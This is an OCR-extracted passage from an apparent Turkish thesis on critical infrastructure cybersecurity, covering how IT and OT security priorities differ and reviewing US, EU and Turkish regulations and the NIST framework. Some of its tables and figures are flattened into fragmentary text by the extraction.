veya tarihsel veriler kaybolabilir. Bu veri daha sonra yedeklerden tekrar sisteme yiiklenebilir
veya kurtarilabilir. Fakat prosesin aniden durdurulmasi ekipmanlara zarar verebilir, kalite
kaybma yol acabilir, maddi zarar yaratabilir veya en Onemlisi operasyon ekibinin

yaralanmasina hatta 6lmesine sebep olabilir [29].

Bilindigi {izere bilgi giivenliginin temel unsurlar1 gizlilik, biitiinliik ve erisilebilirlik olarak
siralanabilir. Bilgi ve iletisim teknolojilerinin giivenliginde gizlilik en 6nemli Oncelik
sirasina sahiptir ve oncelik sirasi biitiinliik ve erisilebilirlik seklinde devam eder. Fakat,

operasyonel teknolojilerin giivenligi s6z konusu oldugunda bu siralama tersten isler. Kritik
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altyapilarda ve endiistriyel kontrol sistemlerinde siireclerin yiirlimesi ve operasyonlarin
devamlilig1 en yiiksek oncelige sahiptir. Bu nedenle operasyonel teknolojilerde siralama
erisilebilirlik, biitiinliik ve gizlilik seklinde oldugu Sekil 2.4’te gosterilmistir [30]. Zhu ve
digerleri [31] yaptiklar1 ¢alismada kritik altyapilarda ve endiistriyel kontrol sistemlerinde
kullanilan SCADA sistemlerinin ¢ogunlukla ger¢ek zamanli sistemler oldugunu bu yiizden
gercek-zamanlt isletim sistemleri kullandiklarini sdylemislerdir. Bu maksatla gilivenlik
unsurlarinin  basina ““vakitlilik” maddesini eklemislerdir. Ayrica bilgi ve iletisim
teknolojilerinde korunmasi gereken varliklarin ug¢ sistemlerden ziyade sunucular oldugunu
fakat SCADA sistemlerinde veritabani ya da veri tarihgisi gibi sunucular kadar PLC gibi ug

sistemlerin de ayn1 6nemle korunmasi gerektigine dikkat ¢ekmisglerdir.

Gizlilik

Bilgi ve iletisim Operasyonel

Teknolojileri Biitiinliik Teknolojiler

Erisilebilirlik

Sekil 2.4. BT ve OT bilgi giivenligi unsurlari

Bilgi teknolojileri ile operasyonel teknolojiler arasindaki farkliliklar detayli olarak Cizelge
2.2’de sunulmustur [32]. Farkliliklar g6z 6niine alindiginda operasyonel teknolojilerin siber
giivenliginin saglanmasinda da bazi farkliliklar meydana gelmektedir:

e Giivenlik duvari, saldir1 tespit ve dnleme sistemleri gibi giivenlik tedbirleri, milisaniye
biriminde olglilen standartlarla hizmet veren sektorlerdeki operasyonel teknolojilerin
yavas ¢aligmasinda ya da aksamasina sebep olabilmektedir.

e Giivenlik icin gerekli olan yazilim yamalari ve giincellestirmeleri, zaman kritik sistemler
olan operasyonel teknolojiler icin bash basina bir planlama gerektiren biiyiik caph
faaliyetler olabileceginden bu islemlerin yapilmasi zaman ve ekonomik nedenlerden
dolay1 geciktirilebilir ya da yapilmayabilir. Yoneticiler i¢in yeterli koruma saglama ve
sistemin siirekli caligmas1 arasinda bir ikilem bulunmaktadir. Sonug olarak ortaya cihaz
yazilimlart ya da haberlesme sistemi protokolleri uzun zamandir gilincellenmemis
dolayisiyla zafiyetlerle dolu sistemler ortaya ¢ikmaktadir.

® Operasyonel teknolojiler ¢ogunlukla 6zel isletim sistemlerini kullansalar da birgok
durumda {izerlerinde kostuklar1 isletim sistemleri standart isletim sistemleridir.

Dolayisiyla cihazlar bu isletim sistemlerinin agikliklarin1 da devralmaktadirlar.
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Cizelge 2.2. Bilgi Teknolojileri ve Operasyonel Teknolojiler arasindaki farklar [32]

Bilgi Teknolojileri
Bilgi teknolojileri verilerin
depolanmasi, geri kazanimi,
iletimi,  degistirilmesi  ve
korunmasina

Islev
odaklanmaktadir.

Kullanim Alami [RERGEISH

Dis diinya ile baglantili.

Varhklar ve Varliklarin sayis1 genellikle
calisanlar

calisanlarin sayisina esittir
veya yakindir.

Frekans

degisimi

Stirekli  degisen:  sirkete
katilan yeni ¢alisanlar (ya da
yeni baglanan cihazlar) ve
sirketten ¢ikan eski calisanlar
(ya da baglantis1 kesilmis
cihazlar)

Kontrollii, kararli ve sabit
Web tarayicisi, klavye, cihaz

T Veri giivenligi (genellikle
Glonee s gizli veriler)

Yazilim giincellemeleri

nedeniyle sabit. Hizmet

o kesintileri tolere edilebilir ve

Giincellemeler .

bazi  durumlarda  mesai

saatleri disinda

programlanabilir

Daha kisa yasam dongiileri

Yasam dongiisii (3-5 yil)

Kesinti oo
Mantiksal — giivenlik,  risk
altinda yasam yoktur. Amag,
gizli  bilgileri  potansiyel

risklerden (insan hatasi, dogal
afetler, siber saldirilar vb.)
korumaktir.

Isletim sistemi

Protokoller

Standart isletim sistemleri

HTTP, DNS, SSH, SMTP,
SNMP, NTP

Operasyonel Teknoljiler

OT, cihazlarin izlenmesi ve kontrolii
yoluyla siireglerin kontroliine veya
degisimlerine daha fazla odaklanir.

Endiistri odakli
Cok smirlt erisim. Ayricalikli erisim
hakkina sahip kisilerle sinirli.

Daha otonom. Calisanlardan daha
fazla cihaz.

Daha az degisen ortam (aylar ya da
yillar boyunca hi¢ degismeyebilir)

OT'ler olumsuz hava kosullarina
dayanir (asir1 sicakliklar veya nem
dahil olmak tizere).

Sensorler, kodlu veya dokunmatik
ekranlar

Calisma  siiresi. Temel  Oncelik
stireclerin devamini saglamaktir.

Giincellemeler oOnceden dikkatlice
test edilmeli ve genellikle makineleri
yeniden baslatmayi veya durdurmayi
icermelidir. Sonug olarak, eski
sitemler OT iginde ¢ok sik goriiliir.

OT sistemleri daha uzun Omiirlidiir
(15-20  yil). Sonug¢  olarak, eski
sistemler ve artik desteklenmeyenler
cok sik goriilmektedir.

Milisaniye-Saniye

Amag gevreyi, insanlar1 ve altyapilari
korumaktir

Ozel isletim sistemli, 6zel amagh
ekipman (Ozel olarak gelistirilmis
yazilim).

DNP3, Modbus, IEC 61850, IEC
608705, EtherCat, BACnet
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e Operasyonel teknolojilerin yasam dongiileri bilgi teknolojilerine gore ¢ok daha uzun
oldugundan yazilim ve donanimlarin desteklenme Omiirleri dolabilir ve dolayisiyla yine
saldirilara kars1 hassas bir sistem meydana gelmektedir.

e Operasyonel teknolojilerin bel kemigini olusturan SCADA sistemi, alandaki sensérlerden
baslayarak kullanici ve kontrol arayiiziine kadar genis bir alana yayilmaktadir. SCADA
sunuculari, siber saldirilara karsi iyi korunmus olsalar da, saha cihazlari i¢in benzer
garantiler mevcut degildir. Kablosuz internet, hiicresel ve bluetooth teknolojilerini i¢eren
iletisim ag1, saldirganlar tarafindan kullanilabilecek ¢oklu uzak erisim noktalar1 saglar.
Kablosuz aglar, o6zellikle Aircrack-NG gibi paketleri koklayabilen, test edebilen ve
cozebilen, serbestce kullanilabilen araglara karsi savunmasizdir.

e Ozellikle endiistriyel kontrol sistemleri i¢in kullanilan diisiik seviyeli ag protokolleri, bir
ana-bagiml iletisim modeline dayanan basit diiz metin mesajlar1 kullanilmaktadir.
Bunlar, izole sistemler icin ve gilivenlikten ziyade hiz dnceligiyle tasarlandiklarindan
dolay1 erisim kontrolii ve sifreleme eksikligi barindirmaktadirlar.

e Siber giivenlik ¢ogu zaman disaridan gelen bir saldiriya odaklanir, bu da mantiklidir,
ancak ayni derecede muhtemel ve tehlikeli olan, giivenilir agin i¢cinden kasitll veya
kasitsiz bir thmal veya sabotajdan kaynaklanan bir saldiridir. Kritik altyapilarda
kullanilan bilgi sistemlerinde iceriden gelebilecek bir tehdit daha yikici etkiler
dogurabileceginden bu tarz saldirilara karsi daha hassastir. Insanin zaaflarindan

faydalanan sosyal miihendislik saldirilar ise i¢ tehdide destek olarak ya da yalniz basina

kullanilabilir [33].

2.3. Kritik Altyapilarda Siber Giivenlik

Kritik altyapilarin ulusal giivenlik agisindan hayli 6nemli bir rol oynadiginin farkina varan
devletler zamanla kendi kritik altyapilarii tanimlamaya, bunlarin neler oldugunu
belirlemeye ve korumak igin Onlemler almaya baslamislardir. Bu maksatla mevcut
kurumlarina gorevler vermisler, yeni kurumlar olusturmuslar, mevzuatlarini belirlemisler ve
nihayetinde kritik altyapilarm korunmasina yonelik stratejiler gelistirmislerdir. Onceleri
tehdit unsuru olarak fiziksel saldirilar 6ne ¢iksa da zaman gectik¢e meydana gelen olaylar
odak noktasini siber alana kaydirmistir. Siber saldirinin fiziksel olarak olay yerine gitmeyi
gerektirmemesi, bilgi haricinde neredeyse baska higbir kaynaga ihtiyagc duymamasi ve

failinin tespitinin daha zor olusu gibi sebepler bu hususta 6nemli rol oynamaktadir.
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2.3.1. Ge¢cmisi ve yasal diizenlemeler

Bu boliimde Amerika Birlesik Devletleri, Avrupa Birligi ve Tiirkiye’ye ait kritik altyapilarin

gecmisi ve konuyla ilgili yasal diizenlemeleri sunulmustur.

Amerika Birlesik Devletleri faaliyet ve eylemleri

Kritik altyapilar terimi bilindigi kadariyla ilk olarak 1996 yilinda ABD’nin 13010 sayili
baskanlik kararnamesinde karsimiza ¢ikmaktadir. Kararname geregi “Kritik Altyapilari
Koruma Komisyonu” kurulmus ve komisyon ABD Baskani’na {ilkenin kritik altyapilarina
yonelik tehdit ve agikliklar1 raporlamakla goérevlendirilmistir. Kararname kritik altyapi
kavramini “Baz1 ulusal altyapilar o kadar hayatidir ki, yetersiz olmalar1 veya yikilmalari
ABD'nin savunmasi veya ekonomik giivenligi lizerinde zayiflatici bir etkiye sahip
olacaktir.” seklinde tanimlamistir. Amerika’nin ilk olarak belirledigi kritik altyapilar;
telekomiinikasyon, elektrik giic sistemleri, gaz ve petrol depolama ve tasimaciligi,
bankacilik ve finans, tasimacilik, su temini sistemleri, acil durum hizmetleri (tip, polis,
yangin ve kurtarma dahil) ve devlet yonetiminin devamliligini igerir. Kritik altyapilara

yonelik tehditler ise iki kategoriye ayrilmistir;
e fiziksel tehditler, maddi miilke yonelik fiziksel tehditler ve

e siber tehditler, kritik altyapilar1 kontrol eden bilgi veya iletisim bilesenlerine elektronik,

radyo frekansi veya bilgisayar tabanli saldirilar [34].

Komisyon Ekim 1997°de sundugu raporda kritik altyapilar: tehdit eden acil bir kriz durumu
ongormemis fakat 6zellikle siber giivenlik alaninda 6nlem alinmasini gerektirecek sebepler
bulmustur. Bunlar; bilgisayar kullanabilen (dolayisiyla potansiyel saldirgan olabilecek) kisi
sayisindaki artig, bilgisayar aglarinda kullanilmakta olan protokollerden gelen zafiyetler ve
saldirgan araglarmin bir¢cok internet sitesi sayesinde kolayca erisilebilir olmasi gibi

sebeplerdir. Komisyon, raporunda bir 6nlem stratejisi bile sunmustur. Rapora gore;

0zel sektor ile devletin ilgili kurumlari arasinda koordinasyon ve iletisimi kolaylastirmak,
e gercek zamanl bir saldir1 uyar1 yetenegi gelistirmek,

e aciklayici bir farkindalik ve egitim programi kurmak ve ilerletmek,

e Ozellikle saldir1 tespitini miimkiin kilan teknolojiler olmak tizere teknoloji ve tekniklerin

arastirma ve gelistirmesini yayginlastirmak gerekmektedir [35].
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Komisyonun raporuna dayanarak donemin ABD bagskani bir direktif yayinlayarak 2003
yilina kadar tilkenin kritik altyapilarint kasitli saldirilardan koruyabilme yetenegi hedefi
koymustur [36]. Direktif, korunmasi gereken altyapilari; bilgi ve iletisim, bankacilik ve
finans, su tedariki, havacilik, karayollari, toplu tasima, boru hatlar1, demiryolu ve su yoluyla
ticaret, acil durum ve kolluk kuvvetleri, acil durum, yangin ve hiikiimet hizmetlerinin
devamliligi, halk sagligi hizmetleri, elektrik giicii, petrol ve gaz iiretimi ve depolanmasi
olarak belirlemistir. Direktif ayrica bu 6nemli sorunla miicadele i¢in yeni bir yap1 kurmustur.

Buna gore;

e ABD'ye yonelik saldirilar net bir sekilde belirlenemeyeceginden, yalnizca kritik altyapiy1
degil, ayn1 zamanda yabanci terdrizmi ve yurt i¢i kitle imha tehditlerini (biyolojik silahlar
dahil) koordine edecek bir Ulusal Koordinator belirlenecek,

e FBI, DOD, USSS, Enerji, Tasimacilik, Istihbarat Toplulugu ve 6zel sektdrden temsilciler
bulunduran FBI'daki Ulusal Altyapt Koruma Merkezi (NIPC) 6zel sektor ile isbirligi
icinde, kurumlarin birbirleri arasinda bilgi paylasiminda bulunmasimi saglayarak
kaynasmasini saglayacak,

e NIPC ayrica Federal Hiikiimetin bir olaya miidahalesini kolaylastirmak ve koordine
etmek, saldirilar1 azaltmak, tehditleri arastirmak ve yeniden yapilanma ¢abalarini izlemek
icin temel yollar saglayacak,

e Ozel sektor tarafindan ve federal hiikiimet ile isbirligi i¢inde bir Bilgi Paylasim ve Analiz
Merkezi'nin (ISAC) kurulmasi tesvik edilecek,

e ulusal planin politikalarinin olusturulmasina rehberlik etmek i¢in 6zel sektor liderlerinden
ve eyalet/yerel yetkililerden olusan Ulusal Altyap1 Giivence Konseyi kurulacak,

e Kiritik Altyap1 Giivence Ofisi ise, Ulusal Koordinatoriin devlet kurumlari ve 6zel sektor
ile ulusal bir plan gelistirmedeki ¢alismalarna destek saglayacak, giivence ofisi ayrica
ulusal bir egitim ve bilinglendirme programimin ve yasama ve halkla iligkilerin

koordinasyonuna yardimci olacaktir.

Direktif, bunlarla da yetinmeyip bir de Ulusal Altyap1 Giivence Plani yapilmasini istemistir.

Plan, yukarida siralanan sektorlerden her biri i¢in olusturulmus planlar: bir araya getirecek,

bununla birlikte sunlar1 g6z 6niinde bulunduracaktir:

e Sektoriin altyapisinin amacina ulagmasi i¢in gereken asgari temel yetenekte bir giivenlik
ac181 degerlendirmesi,

e Sektoriin hassasiyetlerini azaltmaya yonelik iyilestirici planlar,

e Uyari isterleri ve prosediirleri,
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Miidahale stratejileri,

e Hizmetlerin yeniden yapilandirilmasi,

e Egitim ve bilin¢lendirme programlari,

e Arastirma ve gelistirme ihtiyaglari,

e Istihbarat stratejileri,

e Uluslararasi isbirligi i¢in ihtiyaclar ve firsatlar ve

e Yasal ve biitge gereksinimleri.

ABD’nin daha 2000’lere varmadan kritik altyapilara bu denli 6nem vermesi ve caydirici
tedbirler alabilmek ve farkindalig1 artirmak i¢in ¢alisiyor olmasi kritik altyapilarda meydana
gelebilecek bir tehdidin iilkeye ne kadar biiyiik zararlar verebilecegini ¢ok Onceden

gorebildigini gostermektedir.

11 Eylil 2001 saldirilari, basta ABD olmak tiizere diinya tarihinde kritik altyapilarin
giivenligi agisindan bir miat kabul edilebilir. Clinton’in baslattig1r kritik altyapilarin
giivenligine yonelik ¢alismalar 11 Eyliil 6ncesi donemde Bush yonetimi tarafindan da cesitli
diizenlemeler yapilarak siirdiiriilmiistiir. 11 Eyliil saldirilart sonrasi ise siber giivenlik ile
alakali riskler baki kalmak t{izere odak noktasina toplu kayiplara da sebep olabilecek fiziksel
tehditleri de yerlestirmistir. Fakat 2009°da Obama yonetimi kritik altyapilarda siber

giivenligi yeniden merkeze koymustur.

2010 yilia gelindiginde tiim diinyada kritik altyapilarin siber giivenligi acisindan déniim
noktasi sayilabilecek Stuxnet vakasi ortaya ¢ikmistir. Bu saldirinin ayrintilarina ¢alismanin

iiclincii boliimiinde deginilmistir.

Obama yonetimindeki birgok yasa tasarisi yasaya doniismeyince 2013 yilinda Kritik
Altyapilarin  Siber Giivenliginin  Gelistirilmesi adiyla bir baskanlik kararnamesi
yayinlanmistir [37]. Kararname 6zellikle kurumlar arasi bilgi paylasimi ve 1 y1l i¢inde kritik
altyapilarin siber giivenligi icin bir c¢erceve hazirlanilmasi iizerinde durmustur. Siber
giivenlik cercevesi, kritik altyapi1 sahiplerinin ve operatorlerinin siber giivenlik risklerini
azaltmak i¢in kullanabilecekleri bir dizi standart, metodoloji, prosediir ve siiregler olarak
tanimlamigtir. Ulusal Standartlar ve Teknolojisi Enstitiisii ise bunun iizerine 2014 yilinda
Kritik Altyapilarin  Siber Giivenligi’nin Gelistirilmesi ¢ergevesinin ilk versiyonunu

yayimlamistir [38]. Konuyla ilgili yine 2013 yilinda yayinlanan direktif ise 16 maddelik
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kritik altyap1 sektorlerini belirleyerek ABD’nin halihazirda tanimlamis oldugu kritik altyap1

sektorlerinin temelini olusturmasi agisindan 6nemlidir [20].

Avrupa Birligi faaliyet ve eylemleri

Avrupa'ya bakildiginda kritik altyapilarin korunmasi ve giivenligi konulart ilk olarak
Avrupa Konseyi'nin 2004 yilinda kritik altyapilarin korunmasi talebiyle giindeme gelmistir
[39]. 2005 yilinda komisyon tarafindan yayinlanan belge ile Kritik Altyapilarin Korunmasi
Avrupa Programimin (European Programme on Critical Infrastructure Protection, EPCIP)
temelleri atilmigtir. Belge ile ayrica Kritik Altyapilar Uyar1 Bilgi Ag1 Komisyonu
(Commission of a Critical Infrastructure Warning Information Network, CIWIN) kurulmasi
caligmalar1 desteklenmistir. Belge igerisinde kritik altyapilara gelebilecek tehditler; kasith
terorizm hareketleri, dogal afetler, ihmal, kaza veya bilgisayar saldirilari, zararli davraniglar
olarak belirtilmektedir. Belgede kritik altyapilar tanimi ise su sekilde yapilmaktadir;
kesintiye ugramasi veya tahrip edilmesi halinde saglik, emniyet, giivenlik, ekonomik veya
sosyal refah {lizerinde ciddi etkilere yol acacak fiziksel kaynaklar, hizmetler, bilgi
teknolojileri tesisleri, aglar ve altyapr varliklaridir [21]. Avrupa Komisyonu 2006'da
tasarimini son haline getirerek bir direktif olarak yayinlamistir ve boylece EPCIP resmi
olarak hayata gecmistir [40]. Programin yapi taslarindan birini 2008 yilinda Avrupa
Konseyi tarafindan yayinlanan 2008/114/EC sayili direktif olusturmaktadir [41]. Direktif
Avrupa kritik altyapilarini tanimlamak ve tasarlamak, bununla beraber kritik altyapilarin
korunmasimi gelistirmeye olan ihtiyac1 degerlendirebilmek igin genel bir yaklagim
benimsemek amaciyla bir prosediir ortaya koymaktadir. Direktifin ekinde yer alan Avrupa

kritik altyap1 sektorleri Cizelge 2.3'de verilmistir.

Cizelge 2.3. 2008/114/EC'ye gore Avrupa kritik altyapi sektorleri [41]

Sektor Alt Sektor
Elektrik
Enerji Petrol
Gaz

Karayolu tagimaciligt

Demiryolu tagimacilig
Tasimacilik Havayolu tagimacilig
Su yolu tagimaciligi

Okyanus ve kisa mesafeli deniz tagimaciligi,
limanlar
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Yapilan ¢aligmalar 2012 yilinda iiye devletler ve paydaslarla yakin isbirligi i¢inde kapsamli
bir sekilde incelenmistir. Bu incelemenin ilk sonuclart Avrupa Komisyonu'nun yayinladigi
bir belge ile 6zetlenmistir [42]. Bu incelemenin sonuglart ve mevcut programin diger
elemanlarina dayanarak komisyon 2013'te yeni bir belgeyi kabul etmistir [43]. Bu belge ile
faaliyetler gdzden gecirilmis ve daha pratik bir sekilde icrasi maksadiyla 3 ana is akis1 altinda
ortaya konmustur; Onleme, hazirlikli olma ve miidahale. Bu yeni bakis acist AB'de
sektorlerin  karsilikli  bagimliliklarim1  hesaba katarak kritik altyapilari koruma ve
dayanikliligina yonelik ortak araglar ve ortak bir yaklagim gelistirmeyi amaclamaktadir.

Sektorler aras1 bagimliliklar Sekil 2.5°te gdsterilmistir.

Saha tamir Sistem Sistem

Yakat ekibi durumu kontrolii .

) . letme ve

kmal Is

! ! \ / \ / tamir ekibi

SCADA/EKS s e s
Operasyon Karayolu “ / iletisimi
merkezine I flotici Ei .
t —— E-ticare
ulasim Bilesen S Malzeme
naklivesi Bankacihk = ahmn
Ha‘s-'a. . ve Finans
denetimi Havayolu \ Finansal
Bilesen hizmetler
naklivesi Dogalgaz
Demirvel Jeneratir icin
Yakit _— Uemiryoln vakat
ikmali . - Bilesen }
Bilesen ellaid \ nakliyesi
nakliyesi / \\\ i
. . e Emisyon Sosut
Balam igin Jeneratior icin kontrolii ogutma
valat valat ontrofu

Sekil 2.5. Sektorler arast bagimliliklar [43]

Avrupa Komisyonu 2007-2012 yillar1 arasinda kritik altyapilarin korunmasi konusuyla
alakali 100'den fazla projeyi destekledigini de bu belgede belirtmistir. Bu projelerin en
onemlilerinden biri Kritik Altyapilarin Korunmasi igin Avrupa Referans Aginin (European
Reference Network for Critical Infrastructure Protection, ERNCIP) olusturulmasi projesidir.
Agin amacit Avrupanin deneysel yeteneklerinin baglantilanmasi aracilifiyla yenilikei,
nitelikli, verimli ve rekabetci giivenligin ortaya ¢ikmasini tesvik etmek olarak belirlenmistir.
Bugiin Avrupa Birliginde kritik altyapilar ve hizmetler ENISA (European Union Agency for
Cybersecurity) tarafindan su bagliklar altinda yonetilmektedir:

e Kiritik bilgi altyapilari

e Internet altyapisi

e EKS/SCADA
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Akillt Sebekeler
Finans
Saglik

Denizcilik

Avrupa Komisyonu'nun 2018 yilindaki bir raporuna gore ise EPCIP'in giincel odak

noktalarindan birincisi siber giivenlik iken ikincisi i¢ tehdit etkisi olarak belirlenmistir [44].

Turkive faaliyet ve eylemleri

Tiirkiye’de kritik altyapilarin siber giivenligi kavrami bilindigi kadariyla ilk olarak
TUBITAK UEKAE (Ulusal Elektronik ve Kriptoloji Arastirma Enstitiisii) tarafindan 2008
yilinda hazirlanan ve 2009 yilinda Bagbakanliga sunulan sayisal ortam giivenligi politika
dokiimaninda yer almaktadir. S6z konusu dokiimanda “Kritik bilgi ve iletisim sistem
altyapilarmin giivenligi saglanmahdir. Ulke igerisindeki kritik bilgi ve iletisim sistem
altyapilari, bunlarin birbirleriyle iliskileri, kritiklik seviyeleri ve sorumlular tespit
edilmelidir. Tespit edilen kritik bilgi ve iletisim sistem altyapilari sanal ortamdan gelebilecek

tehditlere kars1 korunmalidir.” ifadeleri yer almaktadir [45].

Daha sonra 2012 yilindaki Ulusal Siber Giivenlik Calismalarinin Koordinasyon ve
Yénetimine Iligkin Bakanlar Kurulu Karar1 geregince hazirlanan Ulusal Siber Giivenlik
Stratejisi ve 2013-2014 Eylem Plani’nda ilk defa resmi olarak ve genis ¢apli yer bulmustur
[16]. Planda kritik altyapilara bircok noktada deginilmis, kritik altyapilara ait biligsim
sistemlerinin giivenliinin saglanmasi, 6zel sektorle is birligi yapilmasi, kritik altyapi
sektorlerine 6zel sektorel SOME’lerin (Siber Olaylara Miidahale Ekibi) kurulmasi gerektigi
belirtilmistir. Kritik altyapilara ait biligim sistemlerinin internete bagli olmasi, kritik altyap1
hizmet ve servislerinin, gerceklestirilen siber saldirilara ek olarak bilisim sistemlerinin kendi
hatalarindan, kullanici hatalarindan ya da dogal afetlerden de olumsuz olarak etkilenmesi ve
bu tiir olaylara yonelik alinabilecek tedbirler agisindan gerekli yeterlilige sahip olunmamasi
onemli risk faktorleri olarak gz Oniline alinmistir. Mevcut risk ve tehditleri ortadan
kaldirmak icin TUBITAK ile kritik sektorleri diizenlemek ve denetlemekle sorumlu
kurumlar tarafindan Kritik Altyapilarda Bilgi Giivenligi Yonetimi Programi olusturulmasi
hedeflenmistir. TUBITAK’1in Kalkinma Bakanlhig1 2012 Yatirim Programui icerisinde yer
alan “Kritik Altyapilarda Bilgi Giivenligi Yonetimi Projesi” ve UDHB sponsorlugunda
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hazirlanan raporlar tilkemizdeki 6nemli adimlar olsa da 2013-2014 Eylem Plani’nda yer alan

Kritik Altyapilarda Bilgi Giivenligi Yonetimi Programi hayata gegcmemistir [46].

Yine 2012’de Ulusal Siber Giivenlik Calismalarinin Koordinasyon ve Yonetimine iliskin
Bakanlar Kurulu Karar1 ile kurulan Siber Giivenlik Kurulu? Haziran 2013’te yaptig
toplantida aldig1 kararla Tiirkiye’deki kritik altyapilar1 6 baslik altinda toplamigtir:

e Elektronik Haberlesme

e Enerji

e Bankacilik ve Finans

o Kritik Kamu Hizmetleri

e Ulastirma

e Su YOnetimi

Kritik altyapilarin korunmasi konusu 2016-2019 Ulusal Siber Giivenlik Stratejisi iginde ise
ayr1 bir alt boliim olarak yer bulmustur [47]. Bu boliimde;

e 27001 Bilgi Giivenligi Yonetim Sisteminin zorunlu kilinmasi,

e Ssizma testlerinin mecbur hale getirilmesi,

e sistem odalarinda bulunmasi gereken asgari kriterler gibi kritik altyapilarin bilgi

sistemlerini de kapsayan hususlar yer almigtir.

Halihazirda Tirkiye’nin kritik altyapilara 6zel bir stratejisi bulunmamaktadir. Ancak
TUBITAK’m hazirlamis oldugu Kritik Bilgi Sistem Altyapilar1 igin Asgari Giivenlik

Onlemleri Dokiiman1 bu konuda énemli bir temel rehber konumundadir [24].

Ayrica 2017 yilinda yaymnlanan “Enerji Sektoriinde Kullanilan Endiistriyel Kontrol
Sistemlerinde Bilisim Giivenligi Yonetmeligi ” kritik altyapilarin siber giivenligi alaninda
Tiirkiye’de yaymlanmis 6nemli bir mevzuat konumundadir. Y6netmelik enerji piyasasinda
faaliyet gosteren ve EPDK (Enerji Piyasast Diizenleme Kurumu) tarafindan kritik altyapi
olarak belirlenen yiikiimlii kuruluslarin EKS’de kullanilan bilisim sistemlerinin taninmasi,
envanterinin belirlenmesi, risk degerlendirilmesinin yapilmasi, risklerin islenmesi ve
azaltilmasi ile EKS’ye yonelik giivenlik kontrollerini igermektedir [48]. Bununla beraber

EPDK, 2019 yilinda giivenlik analiz ve test metodolojisine yonelik “Enerji Sektoriinde

2 Bu kurul 10.07.2018 tarih 703 no.lu KHK ile kapatilmustir.
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Kullanilan Endiistriyel Kontrol Sistemleri I¢in Giivenlik Analiz ve Test Usul ve Esaslar1”

dokiimanini yaymlamistir [49].

2019 yilinda yaymlanan Cumhurbaskanligi’na ait Bilgi ve Iletisim Tedbirleri Genelgesi
endiistriyel kontrol sistemleri ve kritik altyapilarla ilgili dnemli maddeler icermektedir.
Genelgenin 16°’nc1 maddesi; “Endiistriyel kontrol sistemlerinin internete kapali konumda
tutulmasi saglanacak, s6z konusu sistemlerin internete agik olmasinin zorunlu oldugu
durumlarda ise gerekli giivenlik 6nlemleri (glivenlik duvari, ugtan uca tiinelleme yontemleri,
yetkilendirme ve kimliklendirme mekanizmalar1 vb.) alinacaktir.” ibaresini igermektedir.

Genelge kritik altyapilarla ilgili asagidaki ibareleri igermektedir:

Giivenlik risklerinin azaltilmasi, etkisiz kilinmasi ve 6zellikle gizliligi, biitiinligi ve
erisilebilirligi bozuldugunda milli giivenligi tehdit edebilecek veya kamu diizeninin
bozulmasina yol acabilecek kritik tiirdeki verilerin giivenliginin saglanmasi amaciyla
ulusal ve uluslararasi standartlar ve bilgi giivenligi kriterleri ¢ercevesinde, kamu kurum
ve kuruluslar ile kritik altyapi niteliginde hizmet veren igletmelerde uygulanmak tizere
farkl1 giivenlik seviyeleri igeren “Bilgi ve iletisim Giivenligi Rehberi” Cumhurbaskanlig
Dijital Doniisiim Ofisi Bagkanlig1 koordinasyonunda, ilgili kamu kurum ve kuruluslart
tarafindan gereken katki saglanarak hazirlanacak ve www.cbddo.gov.tr adresinde
yayimlanacaktir. Rehber ihtiyaclar, gelisen teknoloji, degisen sartlar ile Ulusal Siber
Giivenlik Stratejisi ve eylem planlarinda yapilacak degisiklikler g6z Onilinde
bulundurularak giincellenecektir [50].

Bununla birlikte tiim kamu kurum ve kuruluslart ile kritik altyapr hizmeti veren igletmelerin
bu rehbere wuymast zorunlu kilinmis, rehberin uygulanmasina iliskin denetim
mekanizmasinin kurularak en az yilda bir defa uygulamalarin denetlenmesi ve sonuglari ile

diizeltici faaliyetlerin Dijital Doniisiim Ofisine iletilmesi talep edilmistir.

Yine 2019 yilinda yayinlanan 11. Kalkinma Plan1 da kritik altyapilarin siber giivenligi

konularinda 6nemli maddeler igermektedir. Plana gore;

e kritik altyapilarda bilgi giivenligi yonetim sistemi kurulmasina yonelik usul ve esaslar
belirlenerek hayata gecirilecek (Md.474.4),

e kritik onemi haiz enerji altyapisinin giivenli bir sekilde isletilmesine yonelik Siber
Giivenlik Operasyon Merkezi kurulacak (Md.496.1),

e enerji KiT lerinde kullanilmas1 amaciyla Milli Akilli Sebeke Yoénetim Sistemi (Milli
SCADA) gelistirilmesine yonelik ¢alismalar yapilacaktir (Md.496.2) [51].


http://www.cbddo.gov.tr/
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2.3.2. Kritik altyapilarin siber giivenligine yonelik standart ve rehberler

Kendi iilkelerinde kritik altyapilarin ve giivenliginin diizenlenmesinden sorumlu devlet
kuruluslari, 6zel istirakler ve uluslararas1 kuruluslar kritik altyapilarin siber giivenligine
yonelik ¢abalarin koordine edilmesi ve en iyi uygulamalarin belirlenerek tiim kritik altyapi
sektdrlerine yayginlasabilmesi amaciyla bir takim standart ve rehberler yayinlamiglardir. Bu
alanda diinyada 6nde gelen kuruluglar IEC, ANSI, ISO, NIST, IEEE, NERC, ETSI, ENISA
olarak siralanabilir. Tiirkiye i¢in ise kritik altyapilarin siber giivenligine yonelik standart ve
rehber yayinlayan kuruluslar TSE, BTK ve EPDK’dir. Bu kuruluslarin yayinladiklari
standart ve rehberlere uyulmasi kritik altyapilarin siber saldirilardan korunmasinda kilit rol

oynamaktadir.

NIST Kritik Altvapi Siber Gilivenliginin Gelistirilmesi Cercevesi [52]

ABD’nin 13636 sayili Yiiriitme Karar1 [37] geregince ilki 2014’te yayinlanan ve 2018’de
1.1 versiyonu ile giincellenen ¢ergeve ABD Ulusal Standartlar ve Teknoloji Enstitiisiine
aittir. Bu yayinda siber gilivenlikle ilgili riski yonetmek igin yonergeler ve en iyi
uygulamalardan olusan istege bagli bir risk yonetimi ¢ercevesi ortaya konmaktadir. Y onetici
Ozeti béliimiinde cercevenin sadece kritik altyap: sektorleri i¢in degil diger endiistri

sektorleri i¢in de kullanilabilecek esnek bir yapida oldugundan bahsedilmistir.

Cergeve, 2015 yiliyla beraber ABD sanayi kuruluslarinin yiizde 30’u tarafindan tarafindan
kullanilmaktaysa da 2020 ile beraber bu oranin yiizde 50’yi bulacagi belirtilmistir [53].
Diger veri giivenligi standartlarina benzer sekilde zorunlu olmasa da 2018 yilinda
yayinlanan bir Bagkanlik Kararnamesi [54] federal ajanslar i¢in bu tarz bir g¢ergevenin
kullanilmasini zorunlu kilmaktadir. Benzer bir zorunlulugun tiim sektorlere yayginlagsmasi

da muhtemel goriilmektedir.

Cerceve, 3 boliimden olusmaktadir: ¢ekirdek, uygulama katmanlar1 ve profil.

Cekirdek boliimi, kritik altyap1 sektorlerinde yaygin olan bir dizi siber giivenlik aktivitesi,
